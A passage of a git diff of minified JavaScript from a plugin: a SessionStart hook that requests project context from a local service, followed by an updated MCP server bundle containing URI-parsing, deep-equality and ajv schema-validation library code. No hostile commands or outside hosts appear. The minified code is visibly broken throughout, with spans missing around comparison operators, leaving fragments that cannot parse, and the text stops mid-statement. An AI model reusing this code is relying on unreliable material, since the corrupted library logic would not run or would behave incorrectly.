t=Dt.basename(o);if(t===""){if(process.platform==="win32"){let r=o.match(/^([A-Z]):\\/i);if(r){let s=`drive-${r[1].toUpperCase()}`;return u.info("PROJECT_NAME","Drive root detected",{cwd:o,projectName:s}),s}}return u.warn("PROJECT_NAME","Root directory detected, using fallback",{cwd:o}),"unknown-project"}return t}async function Y(o){await V();let t=o?.cwd??process.cwd(),e=X(t),n=`http://127.0.0.1:${m()}/api/context/inject?project=${encodeURIComponent(e)}`,s=await fetch(n,{signal:AbortSignal.timeout(_.DEFAULT)});if(!s.ok)throw new Error(`Context generation failed: ${s.status}`);return(await s.text()).trim()}var Ct=process.argv.includes("--colors");if(v.isTTY||Ct)Y(void 0).then(o=>{console.log(o),process.exit(0)});else{let o="";v.on("data",t=>o+=t),v.on("end",async()=>{let t;try{t=o.trim()?JSON.parse(o):void 0}catch(r){throw new Error(`Failed to parse hook input: ${r instanceof Error?r.message:String(r)}`)}let e=await Y(t);console.log(JSON.stringify({hookSpecificOutput:{hookEventName:"SessionStart",additionalContext:e}})),process.exit(0)})} diff --git a/plugin/scripts/mcp-server.cjs b/plugin/scripts/mcp-server.cjs index a6c4e786..75672ef5 100755 --- a/plugin/scripts/mcp-server.cjs +++ b/plugin/scripts/mcp-server.cjs @@ -1,14 +1,14 @@ #!/usr/bin/env node -"use strict";var Uo=Object.create;var _a=Object.defineProperty;var Vo=Object.getOwnPropertyDescriptor;var Ho=Object.getOwnPropertyNames;var zo=Object.getPrototypeOf,Wo=Object.prototype.hasOwnProperty;var B=(a,e)=>()=>(e||a((e={exports:{}}).exports,e),e.exports),Bo=(a,e)=>{for(var t in e)_a(a,t,{get:e[t],enumerable:!0})},Qo=(a,e,t,s)=>{if(e&&typeof e=="object"||typeof e=="function")for(let r of Ho(e))!Wo.call(a,r)&&r!==t&&_a(a,r,{get:()=>e[r],enumerable:!(s=Vo(e,r))||s.enumerable});return a};var Ea=(a,e,t)=>(t=a!=null?Uo(zo(a)):{},Qo(e||!a||!a.__esModule?_a(t,"default",{value:a,enumerable:!0}):t,a));var nn=B((zt,sn)=>{(function(a,e){typeof zt=="object"&&typeof sn<"u"?e(zt):typeof define=="function"&&define.amd?define(["exports"],e):e(a.URI=a.URI||{})})(zt,(function(a){"use strict";function e(){for(var p=arguments.length,u=Array(p),g=0;g1){u[0]=u[0].slice(0,-1);for(var S=u.length-1,b=1;b= 0x80 (not a basic code point)","invalid-input":"Invalid input"},A=c-y,q=Math.floor,F=String.fromCharCode;function j(p){throw new RangeError(M[p])}function O(p,u){for(var g=[],S=p.length;S--;)g[S]=u(p[S]);return g}function C(p,u){var g=p.split("@"),S="";g.length>1&&(S=g[0]+"@",p=g[1]),p=p.replace(V,".");var b=p.split("."),N=O(b,u).join(".");return S+N}function L(p){for(var u=[],g=0,S=p.length;g=55296&&b<=56319&&g>1,u+=q(u/g);u>A*_>>1;b+=c)u=q(u/A);return q(b+(A+1)*u/(u+v))},H=function(u){var g=[],S=u.length,b=0,N=x,Z=T,re=u.lastIndexOf(R);re<0&&(re=0);for(var ne=0;ne=128&&j("not-basic"),g.push(u.charCodeAt(ne));for(var ye=re>0?re+1:0;ye=S&&j("invalid-input");var ce=J(u.charCodeAt(ye++));(ce>=c||ce>q((E-b)/ue))&&j("overflow"),b+=ce*ue;var ae=_e<=Z?y:_e>=Z+_?_:_e-Z;if(ceq(E/de)&&j("overflow"),ue*=de}var oe=g.length+1;Z=G(b-ee,oe,ee==0),q(b/oe)>E-N&&j("overflow"),N+=q(b/oe),b%=oe,g.splice(b++,0,N)}return String.fromCodePoint.apply(String,g)},fe=function(u){var g=[];u=L(u);var S=u.length,b=x,N=0,Z=T,re=!0,ne=!1,ye=void 0;try{for(var ee=u[Symbol.iterator](),ue;!(re=(ue=ee.next()).done);re=!0){var _e=ue.value;_e<128&&g.push(F(_e))}}catch(Tr){ne=!0,ye=Tr}finally{try{!re&&ee.return&&ee.return()}finally{if(ne)throw ye}}var ce=g.length,ae=ce;for(ce&&g.push(R);ae=b&&jeq((E-N)/Me)&&j("overflow"),N+=(de-b)*Me,b=de;var Ye=!0,Rr=!1,ir=void 0;try{for(var dt=u[Symbol.iterator](),Tt;!(Ye=(Tt=dt.next()).done);Ye=!0){var Ot=Tt.value;if(OtE&&j("overflow"),Ot==b){for(var Qr=N,Zr=c;;Zr+=c){var or=Zr<=Z?y:Zr>=Z+_?_:Zr-Z;if(Qr>6|192).toString(16).toUpperCase()+"%"+(u&63|128).toString(16).toUpperCase():g="%"+(u>>12|224).toString(16).toUpperCase()+"%"+(u>>6&63|128).toString(16).toUpperCase()+"%"+(u&63|128).toString(16).toUpperCase(),g}function Te(p){for(var u="",g=0,S=p.length;g=194&&b<224){if(S-g>=6){var N=parseInt(p.substr(g+4,2),16);u+=String.fromCharCode((b&31)<<6|N&63)}else u+=p.substr(g,6);g+=6}else if(b>=224){if(S-g>=9){var Z=parseInt(p.substr(g+4,2),16),re=parseInt(p.substr(g+7,2),16);u+=String.fromCharCode((b&15)<<12|(Z&63)<<6|re&63)}else u+=p.substr(g,9);g+=9}else u+=p.substr(g,3),g+=3}return u}function hr(p,u){function g(S){var b=Te(S);return b.match(u.UNRESERVED)?b:S}return p.scheme&&(p.scheme=String(p.scheme).replace(u.PCT_ENCODED,g).toLowerCase().replace(u.NOT_SCHEME,"")),p.userinfo!==void 0&&(p.userinfo=String(p.userinfo).replace(u.PCT_ENCODED,g).replace(u.NOT_USERINFO,Ee).replace(u.PCT_ENCODED,r)),p.host!==void 0&&(p.host=String(p.host).replace(u.PCT_ENCODED,g).toLowerCase().replace(u.NOT_HOST,Ee).replace(u.PCT_ENCODED,r)),p.path!==void 0&&(p.path=String(p.path).replace(u.PCT_ENCODED,g).replace(p.scheme?u.NOT_PATH:u.NOT_PATH_NOSCHEME,Ee).replace(u.PCT_ENCODED,r)),p.query!==void 0&&(p.query=String(p.query).replace(u.PCT_ENCODED,g).replace(u.NOT_QUERY,Ee).replace(u.PCT_ENCODED,r)),p.fragment!==void 0&&(p.fragment=String(p.fragment).replace(u.PCT_ENCODED,g).replace(u.NOT_FRAGMENT,Ee).replace(u.PCT_ENCODED,r)),p}function sr(p){return p.replace(/^0*(.*)/,"$1")||"0"}function ge(p,u){var g=p.match(u.IPV4ADDRESS)||[],S=h(g,2),b=S[1];return b?b.split(".").map(sr).join("."):p}function he(p,u){var g=p.match(u.IPV6ADDRESS)||[],S=h(g,3),b=S[1],N=S[2];if(b){for(var Z=b.toLowerCase().split("::").reverse(),re=h(Z,2),ne=re[0],ye=re[1],ee=ye?ye.split(":").map(sr):[],ue=ne.split(":").map(sr),_e=u.IPV4ADDRESS.test(ue[ue.length-1]),ce=_e?7:8,ae=ue.length-ce,de=Array(ce),oe=0;oe1){var le=de.slice(0,Ne.index),je=de.slice(Ne.index+Ne.length);Fe=le.join(":")+"::"+je.join(":")}else Fe=de.join(":");return N&&(Fe+="%"+N),Fe}else return p}var br=/^(?:([^:\/?#]+):)?(?:\/\/((?:([^\/?#@]*)@)?(\[[^\/?#\]]+\]|[^\/?#:]*)(?:\:(\d*))?))?([^?#]*)(?:\?([^#]*))?(?:#((?:.|\n|\r)*))?/i,xe="".match(/(){0}/)[1]===void 0;function se(p){var u=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},g={},S=u.iri!==!1?d:f;u.reference==="suffix"&&(p=(u.scheme?u.scheme+":":"")+"//"+p);var b=p.match(br);if(b){xe?(g.scheme=b[1],g.userinfo=b[3],g.host=b[4],g.port=parseInt(b[5],10),g.path=b[6]||"",g.query=b[7],g.fragment=b[8],isNaN(g.port)&&(g.port=b[5])):(g.scheme=b[1]||void 0,g.userinfo=p.indexOf("@")!==-1?b[3]:void 0,g.host=p.indexOf("//")!==-1?b[4]:void 0,g.port=parseInt(b[5],10),g.path=b[6]||"",g.query=p.indexOf("?")!==-1?b[7]:void 0,g.fragment=p.indexOf("#")!==-1?b[8]:void 0,isNaN(g.port)&&(g.port=p.match(/\/\/(?:.|\n)*\:(?:\/|\?|\#|$)/)?b[4]:void 0)),g.host&&(g.host=he(ge(g.host,S),S)),g.scheme===void 0&&g.userinfo===void 0&&g.host===void 0&&g.port===void 0&&!g.path&&g.query===void 0?g.reference="same-document":g.scheme===void 0?g.reference="relative":g.fragment===void 0?g.reference="absolute":g.reference="uri",u.reference&&u.reference!=="suffix"&&u.reference!==g.reference&&(g.error=g.error||"URI is not a "+u.reference+" reference.");var N=ve[(u.scheme||g.scheme||"").toLowerCase()];if(!u.unicodeSupport&&(!N||!N.unicodeSupport)){if(g.host&&(u.domainHost||N&&N.domainHost))try{g.host=te.toASCII(g.host.replace(S.PCT_ENCODED,Te).toLowerCase())}catch(Z){g.error=g.error||"Host's domain name can not be converted to ASCII via punycode: "+Z}hr(g,f)}else hr(g,S);N&&N.parse&&N.parse(g,u)}else g.error=g.error||"URI can not be parsed.";return g}function pr(p,u){var g=u.iri!==!1?d:f,S=[];return p.userinfo!==void 0&&(S.push(p.userinfo),S.push("@")),p.host!==void 0&&S.push(he(ge(String(p.host),g),g).replace(g.IPV6ADDRESS,function(b,N,Z){return"["+N+(Z?"%25"+Z:"")+"]"})),(typeof p.port=="number"||typeof p.port=="string")&&(S.push(":"),S.push(String(p.port))),S.length?S.join(""):void 0}var nr=/^\.\.?\//,Pr=/^\/\.(\/|$)/,xr=/^\/\.\.(\/|$)/,Se=/^\/?(?:.|\n)*?(?=\/|$)/;function Le(p){for(var u=[];p.length;)if(p.match(nr))p=p.replace(nr,"");else if(p.match(Pr))p=p.replace(Pr,"/");else if(p.match(xr))p=p.replace(xr,"/"),u.pop();else if(p==="."||p==="..")p="";else{var g=p.match(Se);if(g){var S=g[0];p=p.slice(S.length),u.push(S)}else throw new Error("Unexpected dot segment condition")}return u.join("")}function $e(p){var u=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},g=u.iri?d:f,S=[],b=ve[(u.scheme||p.scheme||"").toLowerCase()];if(b&&b.serialize&&b.serialize(p,u),p.host&&!g.IPV6ADDRESS.test(p.host)){if(u.domainHost||b&&b.domainHost)try{p.host=u.iri?te.toUnicode(p.host):te.toASCII(p.host.replace(g.PCT_ENCODED,Te).toLowerCase())}catch(re){p.error=p.error||"Host's domain name can not be converted to "+(u.iri?"Unicode":"ASCII")+" via punycode: "+re}}hr(p,g),u.reference!=="suffix"&&p.scheme&&(S.push(p.scheme),S.push(":"));var N=pr(p,u);if(N!==void 0&&(u.reference!=="suffix"&&S.push("//"),S.push(N),p.path&&p.path.charAt(0)!=="/"&&S.push("/")),p.path!==void 0){var Z=p.path;!u.absolutePath&&(!b||!b.absolutePath)&&(Z=Le(Z)),N===void 0&&(Z=Z.replace(/^\/\//,"/%2F")),S.push(Z)}return p.query!==void 0&&(S.push("?"),S.push(p.query)),p.fragment!==void 0&&(S.push("#"),S.push(p.fragment)),S.join("")}function Oe(p,u){var g=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{},S=arguments[3],b={};return S||(p=se($e(p,g),g),u=se($e(u,g),g)),g=g||{},!g.tolerant&&u.scheme?(b.scheme=u.scheme,b.userinfo=u.userinfo,b.host=u.host,b.port=u.port,b.path=Le(u.path||""),b.query=u.query):(u.userinfo!==void 0||u.host!==void 0||u.port!==void 0?(b.userinfo=u.userinfo,b.host=u.host,b.port=u.port,b.path=Le(u.path||""),b.query=u.query):(u.path?(u.path.charAt(0)==="/"?b.path=Le(u.path):((p.userinfo!==void 0||p.host!==void 0||p.port!==void 0)&&!p.path?b.path="/"+u.path:p.path?b.path=p.path.slice(0,p.path.lastIndexOf("/")+1)+u.path:b.path=u.path,b.path=Le(b.path)),b.query=u.query):(b.path=p.path,u.query!==void 0?b.query=u.query:b.query=p.query),b.userinfo=p.userinfo,b.host=p.host,b.port=p.port),b.scheme=p.scheme),b.fragment=u.fragment,b}function Ge(p,u,g){var S=l({scheme:"null"},g);return $e(Oe(se(p,S),se(u,S),S,!0),S)}function ke(p,u){return typeof p=="string"?p=$e(se(p,u),u):s(p)==="object"&&(p=se($e(p,u),u)),p}function Rt(p,u,g){return typeof p=="string"?p=$e(se(p,g),g):s(p)==="object"&&(p=$e(p,g)),typeof u=="string"?u=$e(se(u,g),g):s(u)==="object"&&(u=$e(u,g)),p===u}function ma(p,u){return p&&p.toString().replace(!u||!u.iri?f.ESCAPE:d.ESCAPE,Ee)}function Be(p,u){return p&&p.toString().replace(!u||!u.iri?f.PCT_ENCODED:d.PCT_ENCODED,Te)}var ct={scheme:"http",domainHost:!0,parse:function(u,g){return u.host||(u.error=u.error||"HTTP URIs must have a host."),u},serialize:function(u,g){var S=String(u.scheme).toLowerCase()==="https";return(u.port===(S?443:80)||u.port==="")&&(u.port=void 0),u.path||(u.path="/"),u}},vs={scheme:"https",domainHost:ct.domainHost,parse:ct.parse,serialize:ct.serialize};function gs(p){return typeof p.secure=="boolean"?p.secure:String(p.scheme).toLowerCase()==="wss"}var ut={scheme:"ws",domainHost:!0,parse:function(u,g){var S=u;return S.secure=gs(S),S.resourceName=(S.path||"/")+(S.query?"?"+S.query:""),S.path=void 0,S.query=void 0,S},serialize:function(u,g){if((u.port===(gs(u)?443:80)||u.port==="")&&(u.port=void 0),typeof u.secure=="boolean"&&(u.scheme=u.secure?"wss":"ws",u.secure=void 0),u.resourceName){var S=u.resourceName.split("?"),b=h(S,2),N=b[0],Z=b[1];u.path=N&&N!=="/"?N:void 0,u.query=Z,u.resourceName=void 0}return u.fragment=void 0,u}},ys={scheme:"wss",domainHost:ut.domainHost,parse:ut.parse,serialize:ut.serialize},bo={},Po=!0,_s="[A-Za-z0-9\\-\\.\\_\\~"+(Po?"\\xA0-\\u200D\\u2010-\\u2029\\u202F-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF":"")+"]",Je="[0-9A-Fa-f]",xo=t(t("%[EFef]"+Je+"%"+Je+Je+"%"+Je+Je)+"|"+t("%[89A-Fa-f]"+Je+"%"+Je+Je)+"|"+t("%"+Je+Je)),wo="[A-Za-z0-9\\!\\$\\%\\'\\*\\+\\-\\^\\_\\`\\{\\|\\}\\~]",Ro="[\\!\\$\\%\\'\\(\\)\\*\\+\\,\\-\\.0-9\\<\\>A-Z\\x5E-\\x7E]",To=e(Ro,'[\\"\\\\]'),Oo="[\\!\\$\\'\\(\\)\\*\\+\\,\\;\\:\\@]",Io=new RegExp(_s,"g"),Br=new RegExp(xo,"g"),$o=new RegExp(e("[^]",wo,"[\\.]",'[\\"]',To),"g"),Es=new RegExp(e("[^]",_s,Oo),"g"),Ao=Es;function va(p){var u=Te(p);return u.match(Io)?u:p}var Ss={scheme:"mailto",parse:function(u,g){var S=u,b=S.to=S.path?S.path.split(","):[];if(S.path=void 0,S.query){for(var N=!1,Z={},re=S.query.split("&"),ne=0,ye=re.length;ne{"use strict";on.exports=function a(e,t){if(e===t)return!0;if(e&&t&&typeof e=="object"&&typeof t=="object"){if(e.constructor!==t.constructor)return!1;var s,r,n;if(Array.isArray(e)){if(s=e.length,s!=t.length)return!1;for(r=s;r--!==0;)if(!a(e[r],t[r]))return!1;return!0}if(e.constructor===RegExp)return e.source===t.source&&e.flags===t.flags;if(e.valueOf!==Object.prototype.valueOf)return e.valueOf()===t.valueOf();if(e.toString!==Object.prototype.toString)return e.toString()===t.toString();if(n=Object.keys(e),s=n.length,s!==Object.keys(t).length)return!1;for(r=s;r--!==0;)if(!Object.prototype.hasOwnProperty.call(t,n[r]))return!1;for(r=s;r--!==0;){var l=n[r];if(!a(e[l],t[l]))return!1}return!0}return e!==e&&t!==t}});var cn=B((jf,ln)=>{"use strict";ln.exports=function(e){for(var t=0,s=e.length,r=0,n;r=55296&&n<=56319&&r{"use strict";fn.exports={copy:eu,checkDataType:Fa,checkDataTypes:ru,coerceToTypes:tu,toHash:qa,getProperty:Ua,escapeQuotes:Va,equal:Wt(),ucs2length:cn(),varOccurences:nu,varReplace:iu,schemaHasRules:ou,schemaHasRulesExcept:lu,schemaUnknownRules:cu,toQuotedString:Ma,getPathExpr:uu,getPath:du,getData:pu,unescapeFragment:mu,unescapeJsonPointer:za,escapeFragment:vu,escapeJsonPointer:Ha};function eu(a,e){e=e||{};for(var t in a)e[t]=a[t];return e}function Fa(a,e,t,s){var r=s?" !== ":" === ",n=s?" || ":" && ",l=s?"!":"",i=s?"":"!";switch(a){case"null":return e+r+"null";case"array":return l+"Array.isArray("+e+")";case"object":return"("+l+e+n+"typeof "+e+r+'"object"'+n+i+"Array.isArray("+e+"))";case"integer":return"(typeof "+e+r+'"number"'+n+i+"("+e+" % 1)"+n+e+r+e+(t?n+l+"isFinite("+e+")":"")+")";case"number":return"(typeof "+e+r+'"'+a+'"'+(t?n+l+"isFinite("+e+")":"")+")";default:return"typeof "+e+r+'"'+a+'"'}}function ru(a,e,t){switch(a.length){case 1:return Fa(a[0],e,t,!0);default:var s="",r=qa(a);r.array&&r.object&&(s=r.null?"(":"(!"+e+" || ",s+="typeof "+e+' !== "object")',delete r.null,delete r.array,delete r.object),r.number&&delete r.integer;for(var n in r)s+=(s?" && ":"")+Fa(n,e,t,!0);return s}}var un=qa(["string","number","integer","boolean","null"]);function tu(a,e){if(Array.isArray(e)){for(var t=[],s=0;s=e)throw new Error("Cannot access property/index "+s+" levels up, current level is "+e);return t[e-s]}if(s>e)throw new Error("Cannot access data "+s+" levels up, current level is "+e);if(n="data"+(e-s||""),!r)return n}for(var i=n,f=r.split("/"),d=0;d{"use strict";var gu=zr();hn.exports=yu;function yu(a){gu.copy(a,this)}});var mn=B((Mf,pn)=>{"use strict";var _r=pn.exports=function(a,e,t){typeof e=="function"&&(t=e,e={}),t=e.cb||t;var s=typeof t=="function"?t:t.pre||function(){},r=t.post||function(){};Bt(e,s,r,a,"",a)};_r.keywords={additionalItems:!0,items:!0,contains:!0,additionalProperties:!0,propertyNames:!0,not:!0};_r.arrayKeywords={items:!0,allOf:!0,anyOf:!0,oneOf:!0};_r.propsKeywords={definitions:!0,properties:!0,patternProperties:!0,dependencies:!0};_r.skipKeywords={default:!0,enum:!0,const:!0,required:!0,maximum:!0,minimum:!0,exclusiveMaximum:!0,exclusiveMinimum:!0,multipleOf:!0,maxLength:!0,minLength:!0,pattern:!0,format:!0,maxItems:!0,minItems:!0,uniqueItems:!0,maxProperties:!0,minProperties:!0};function Bt(a,e,t,s,r,n,l,i,f,d){if(s&&typeof s=="object"&&!Array.isArray(s)){e(s,r,n,l,i,f,d);for(var h in s){var m=s[h];if(Array.isArray(m)){if(h in _r.arrayKeywords)for(var E=0;E{"use strict";var Pt=nn(),vn=Wt(),Gt=zr(),Qt=Wa(),Eu=mn();_n.exports=Sr;Sr.normalizeId=Er;Sr.fullPath=Zt;Sr.url=Kt;Sr.ids=wu;Sr.inlineRef=Ba;Sr.schema=Jt;function Sr(a,e,t){var s=this._refs[t];if(typeof s=="string")if(this._refs[s])s=this._refs[s];else return Sr.call(this,a,e,s);if(s=s||this._schemas[t],s instanceof Qt)return Ba(s.schema,this._opts.inlineRefs)?s.schema:s.validate||this._compile(s);var r=Jt.call(this,e,t),n,l,i;return r&&(n=r.schema,e=r.root,i=r.baseId),n instanceof Qt?l=n.validate||a.call(this,n.schema,e,void 0,i):n!==void 0&&(l=Ba(n,this._opts.inlineRefs)?n:a.call(this,n,e,void 0,i)),l}function Jt(a,e){var t=Pt.parse(e),s=yn(t),r=Zt(this._getId(a.schema));if(Object.keys(a.schema).length===0||s!==r){var n=Er(s),l=this._refs[n];if(typeof l=="string")return Su.call(this,a,l,t);if(l instanceof Qt)l.validate||this._compile(l),a=l;else if(l=this._schemas[n],l instanceof Qt){if(l.validate||this._compile(l),n==Er(e))return{schema:l,root:a,baseId:r};a=l}else return;if(!a.schema)return;r=Zt(this._getId(a.schema))}return gn.call(this,t,r,a.schema,a)}function Su(a,e,t){var s=Jt.call(this,a,e);if(s){var r=s.schema,n=s.baseId;a=s.root;var l=this._getId(r);return l&&(n=Kt(n,l)),gn.call(this,t,n,r,a)}}var bu=Gt.toHash(["properties","patternProperties","enum","dependencies","definitions"]);function gn(a,e,t,s){if(a.fragment=a.fragment||"",a.fragment.slice(0,1)=="/"){for(var r=a.fragment.split("/"),n=1;n{"use strict";var Ka=Yt();Sn.exports={Validation:En(Ru),MissingRef:En(Ga)};function Ru(a){this.message="validation failed",this.errors=a,this.ajv=this.validation=!0}Ga.message=function(a,e){return"can't resolve reference "+e+" from id "+a};function Ga(a,e,t){this.message=t||Ga.message(a,e),this.missingRef=Ka.url(a,e),this.missingSchema=Ka.normalizeId(Ka.fullPath(this.missingRef))}function En(a){return a.prototype=Object.create(Error.prototype),a.prototype.constructor=a,a}});var Ja=B((Vf,bn)=>{"use strict";bn.exports=function(a,e){e||(e={}),typeof e=="function"&&(e={cmp:e});var t=typeof e.cycles=="boolean"?e.cycles:!1,s=e.cmp&&(function(n){return function(l){return function(i,f){var d={key:i,value:l[i]},h={key:f,value:l[f]};return n(d,h)}}})(e.cmp),r=[];return(function n(l){if(l&&l.toJSON&&typeof l.toJSON=="function"&&(l=l.toJSON()),l!==void 0){if(typeof l=="number")return isFinite(l)?""+l:"null";if(typeof l!="object")return JSON.stringify(l);var i,f;if(Array.isArray(l)){for(f="[",i=0;i{"use strict";Pn.exports=function(e,t,s){var r="",n=e.schema.$async===!0,l=e.util.schemaHasRulesExcept(e.schema,e.RULES.all,"$ref"),i=e.self._getId(e.schema);if(e.opts.strictKeywords){var f=e.util.schemaUnknownRules(e.schema,e.RULES.keywords);if(f){var d="unknown keyword: "+f;if(e.opts.strictKeywords==="log")e.logger.warn(d);else throw new Error(d)}}if(e.isTop&&(r+=" var validate = ",n&&(e.async=!0,r+="async "),r+="function(data, dataPath, parentData, parentDataProperty, rootData) { 'use strict'; ",i&&(e.opts.sourceCode||e.opts.processCode)&&(r+=" "+("/*# sourceURL="+i+" */")+" ")),typeof e.schema=="boolean"||!(l||e.schema.$ref)){var t="false schema",h=e.level,m=e.dataLevel,E=e.schema[t],c=e.schemaPath+e.util.getProperty(t),y=e.errSchemaPath+"/"+t,I=!e.opts.allErrors,M,_="data"+(m||""),R="valid"+h;if(e.schema===!1){e.isTop?I=!0:r+=" var "+R+" = false; ";var v=v||[];v.push(r),r="",e.createErrors!==!1?(r+=" { keyword: '"+(M||"false schema")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(y)+" , params: {} ",e.opts.messages!==!1&&(r+=" , message: 'boolean schema is false' "),e.opts.verbose&&(r+=" , schema: false , parentSchema: validate.schema"+e.schemaPath+" , data: "+_+" "),r+=" } "):r+=" {} ";var P=r;r=v.pop(),!e.compositeRule&&I?e.async?r+=" throw new ValidationError(["+P+"]); ":r+=" validate.errors = ["+P+"]; return false; ":r+=" var err = "+P+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; "}else e.isTop?n?r+=" return data; ":r+=" validate.errors = null; return true; ":r+=" var "+R+" = true; ";return e.isTop&&(r+=" }; return validate; "),r}if(e.isTop){var T=e.isTop,h=e.level=0,m=e.dataLevel=0,_="data";if(e.rootId=e.resolve.fullPath(e.self._getId(e.root.schema)),e.baseId=e.baseId||e.rootId,delete e.isTop,e.dataPathArr=[""],e.schema.default!==void 0&&e.opts.useDefaults&&e.opts.strictDefaults){var x="default is ignored in the schema root";if(e.opts.strictDefaults==="log")e.logger.warn(x);else throw new Error(x)}r+=" var vErrors = null; ",r+=" var errors = 0; ",r+=" if (rootData === undefined) rootData = data; "}else{var h=e.level,m=e.dataLevel,_="data"+(m||"");if(i&&(e.baseId=e.resolve.url(e.baseId,i)),n&&!e.async)throw new Error("async schema in sync schema");r+=" var errs_"+h+" = errors;"}var R="valid"+h,I=!e.opts.allErrors,$="",V="",M,A=e.schema.type,q=Array.isArray(A);if(A&&e.opts.nullable&&e.schema.nullable===!0&&(q?A.indexOf("null")==-1&&(A=A.concat("null")):A!="null"&&(A=[A,"null"],q=!0)),q&&A.length==1&&(A=A[0],q=!1),e.schema.$ref&&l){if(e.opts.extendRefs=="fail")throw new Error('$ref: validation keywords used in schema at path "'+e.errSchemaPath+'" (see option extendRefs)');e.opts.extendRefs!==!0&&(l=!1,e.logger.warn('$ref: keywords ignored in schema at path "'+e.errSchemaPath+'"'))}if(e.schema.$comment&&e.opts.$comment&&(r+=" "+e.RULES.all.$comment.code(e,"$comment")),A){if(e.opts.coerceTypes)var F=e.util.coerceToTypes(e.opts.coerceTypes,A);var j=e.RULES.types[A];if(F||q||j===!0||j&&!Se(j)){var c=e.schemaPath+".type",y=e.errSchemaPath+"/type",c=e.schemaPath+".type",y=e.errSchemaPath+"/type",O=q?"checkDataTypes":"checkDataType";if(r+=" if ("+e.util[O](A,_,e.opts.strictNumbers,!0)+") { ",F){var C="dataType"+h,L="coerced"+h;r+=" var "+C+" = typeof "+_+"; var "+L+" = undefined; ",e.opts.coerceTypes=="array"&&(r+=" if ("+C+" == 'object' && Array.isArray("+_+") && "+_+".length == 1) { "+_+" = "+_+"[0]; "+C+" = typeof "+_+"; if ("+e.util.checkDataType(e.schema.type,_,e.opts.strictNumbers)+") "+L+" = "+_+"; } "),r+=" if ("+L+" !== undefined) ; ";var ie=F;if(ie)for(var J,X=-1,G=ie.length-1;X{"use strict";var ea=Yt(),ta=zr(),wn=Xt(),Tu=Ja(),xn=Ya(),Ou=ta.ucs2length,Iu=Wt(),$u=wn.Validation;Tn.exports=Xa;function Xa(a,e,t,s){var r=this,n=this._opts,l=[void 0],i={},f=[],d={},h=[],m={},E=[];e=e||{schema:a,refVal:l,refs:i};var c=Au.call(this,a,e,s),y=this._compilations[c.index];if(c.compiling)return y.callValidate=x;var _=this._formats,v=this.RULES;try{var P=R(a,e,t,s);y.validate=P;var T=y.callValidate;return T&&(T.schema=P.schema,T.errors=null,T.refs=P.refs,T.refVal=P.refVal,T.root=P.root,T.$async=P.$async,n.sourceCode&&(T.source=P.source)),P}finally{Cu.call(this,a,e,s)}function x(){var O=y.validate,C=O.apply(this,arguments);return x.errors=O.errors,C}function R(O,C,L,ie){var J=!C||C&&C.schema==O;if(C.schema!=e.schema)return Xa.call(r,O,C,L,ie);var X=O.$async===!0,G=xn({isTop:!0,schema:O,isRoot:J,baseId:ie,root:C,schemaPath:"",errSchemaPath:"#",errorPath:'""',MissingRefError:wn.MissingRef,RULES:v,validate:xn,util:ta,resolve:ea,resolveRef:I,usePattern:q,useDefault:F,useCustomRule:j,opts:n,formats:_,logger:r.logger,self:r});G=ra(l,Nu)+ra(f,Du)+ra(h,ku)+ra(E,ju)+G,n.processCode&&(G=n.processCode(G,O));var H;try{var fe=new Function("self","RULES","formats","root","refVal","defaults","customRules","equal","ucs2length","ValidationError",G);H=fe(r,v,_,e,l,h,E,Iu,Ou,$u),l[0]=H}catch(Pe){throw r.logger.error("Error compiling schema, function code:",G),Pe}return H.schema=O,H.errors=null,H.refs=i,H.refVal=l,H.root=J?H:C,X&&(H.$async=!0),n.sourceCode===!0&&(H.source={code:G,patterns:f,defaults:h}),H}function I(O,C,L){C=ea.url(O,C);var ie=i[C],J,X;if(ie!==void 0)return J=l[ie],X="refVal["+ie+"]",A(J,X);if(!L&&e.refs){var G=e.refs[C];if(G!==void 0)return J=e.refVal[G],X=$(C,J),A(J,X)}X=$(C);var H=ea.call(r,R,e,C);if(H===void 0){var fe=t&&t[C];fe&&(H=ea.inlineRef(fe,n.inlineRefs)?fe:Xa.call(r,fe,e,t,O))}if(H===void 0)V(C);else return M(C,H),A(H,X)}function $(O,C){var L=l.length;return l[L]=C,i[O]=L,"refVal"+L}function V(O){delete i[O]}function M(O,C){var L=i[O];l[L]=C}function A(O,C){return typeof O=="object"||typeof O=="boolean"?{code:C,schema:O,inline:!0}:{code:C,$async:O&&!!O.$async}}function q(O){var C=d[O];return C===void 0&&(C=d[O]=f.length,f[C]=O),"pattern"+C}function F(O){switch(typeof O){case"boolean":case"number":return""+O;case"string":return ta.toQuotedString(O);case"object":if(O===null)return"null";var C=Tu(O),L=m[C];return L===void 0&&(L=m[C]=h.length,h[L]=O),"default"+L}}function j(O,C,L,ie){if(r._opts.validateSchema!==!1){var J=O.definition.dependencies;if(J&&!J.every(function(Ee){return Object.prototype.hasOwnProperty.call(L,Ee)}))throw new Error("parent schema must have all required keywords: "+J.join(","));var X=O.definition.validateSchema;if(X){var G=X(C);if(!G){var H="keyword schema is invalid: "+r.errorsText(X.errors);if(r._opts.validateSchema=="log")r.logger.error(H);else throw new Error(H)}}}var fe=O.definition.compile,Pe=O.definition.inline,Re=O.definition.macro,te;if(fe)te=fe.call(r,C,L,ie);else if(Re)te=Re.call(r,C,L,ie),n.validateSchema!==!1&&r.validateSchema(te,!0);else if(Pe)te=Pe.call(r,ie,O.keyword,C,L);else if(te=O.definition.validate,!te)return;if(te===void 0)throw new Error('custom keyword "'+O.keyword+'"failed to compile');var ve=E.length;return E[ve]=te,{code:"customRule"+ve,validate:te}}}function Au(a,e,t){var s=Rn.call(this,a,e,t);return s>=0?{index:s,compiling:!0}:(s=this._compilations.length,this._compilations[s]={schema:a,root:e,baseId:t},{index:s,compiling:!1})}function Cu(a,e,t){var s=Rn.call(this,a,e,t);s>=0&&this._compilations.splice(s,1)}function Rn(a,e,t){for(var s=0;s{"use strict";var aa=In.exports=function(){this._cache={}};aa.prototype.put=function(e,t){this._cache[e]=t};aa.prototype.get=function(e){return this._cache[e]};aa.prototype.del=function(e){delete this._cache[e]};aa.prototype.clear=function(){this._cache={}}});var Vn=B((Bf,Un)=>{"use strict";var 